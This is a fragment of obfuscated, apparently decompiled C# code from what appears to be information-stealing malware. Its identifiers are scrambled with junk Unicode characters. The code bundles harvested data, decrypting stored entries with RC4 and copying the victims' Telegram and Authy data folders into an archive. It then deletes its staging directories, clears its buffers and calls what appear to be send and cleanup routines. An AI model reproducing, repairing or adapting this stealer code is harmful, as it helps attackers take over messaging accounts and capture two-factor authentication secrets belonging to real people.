class_.prop_27 = Class_84.\u031D\u036F\u035C\u0345\u0363\u036F\u035C\u036D\u0325\u0343\u034C\u034A\u030D\u0323\u0020\u033Cozrlltgxsptyshzx\u032A\u0343\u0359\u035A\u0323\u0E47\u0340\u0313\u0328\u0351\u0349\u0320t\u0E47\u0331\u032Fyopertjvrnpgnfxb;
foreach (KeyValuePair <string, byte[]> keyValuePair in Class_53.\u0347\u0020\u0328\u0020\u0369\u0E47h\u0364\u0358\u036D\u036B\u0324\u0322\u0E47\u031F\u0369qhgddlayjusqyuib\u0353c\u0347\u036Dr\u0020\u0E47\u0356\u0356\u0332\u036D\u0347\u0325\u030E\u0E47\u0356gugwsaxccacjclln)
{
class_.vmethod_775(keyValuePair.Key, Class_47.RC4(keyValuePair.Value));
}
foreach (KeyValuePair <string, string> keyValuePair2 in Class_53.\u0324\u0020\u0327\u0348\u0333\u0305\u0345\u0329\u0348\u0E47\u0020\u0335\u0E47\u0316\u0302\u0320ywdncahgxwtxiviz\u0352\u0349\u0323\u0320\u0369\u031F\u0358\u033F\u0E47\u0332\u0020\u0020\u0E47\u0327\u0E47\u0020iilbfxumjrfxqonp)
{
try
{
class_.pmethod_749(keyValuePair2.Key, keyValuePair2.Value);
}
catch
{
}
}
if (Class_96.field_2 != null)
{
class_.lmethod_778(Class_96.field_2, Class_47.\u0337\u0329\u035A\u0341t\u033C\u0020\u034E\u035B\u0322\u0313\u0308\u0320\u0367\u0329\u0359yotlhmdsspprsbmv\u0020\u0315\u0369\u0020\u0363\u034C\u0020\u0308\u035E\u0368\u0020\u030E\u0307\u033C\u0367\u0020jzrebbgywcogvccr + "\\Telegram");
}
if (Class_83.field_0 != null)
{
class_.lmethod_778(Class_83.field_0, Class_47.\u0337\u0329\u035A\u0341t\u033C\u0020\u034E\u035B\u0322\u0313\u0308\u0320\u0367\u0329\u0359yotlhmdsspprsbmv\u0020\u0315\u0369\u0020\u0363\u034C\u0020\u0308\u035E\u0368\u0020\u030E\u0307\u033C\u0367\u0020jzrebbgywcogvccr + "\\Authy");
}
class_.smethod_930(str_);
Class_47.DeleteDirectory(Class_96.field_2);
Class_47.DeleteDirectory(Class_83.field_0);
}
Class_53.\u0347\u0020\u0328\u0020\u0369\u0E47h\u0364\u0358\u036D\u036B\u0324\u0322\u0E47\u031F\u0369qhgddlayjusqyuib\u0353c\u0347\u036Dr\u0020\u0E47\u0356\u0356\u0332\u036D\u0347\u0325\u030E\u0E47\u0356gugwsaxccacjclln.Clear();
Class_53.\u0324\u0020\u0327\u0348\u0333\u0305\u0345\u0329\u0348\u0E47\u0020\u0335\u0E47\u0316\u0302\u0320ywdncahgxwtxiviz\u0352\u0349\u0323\u0320\u0369\u031F\u0358\u033F\u0E47\u0332\u0020\u0020\u0E47\u0327\u0E47\u0020iilbfxumjrfxqonp.Clear();
GC.Collect();
Class_82.vmethod_245(str_, "s");
Class_82.cmethod_244();
Class_81.smethod_240();
}
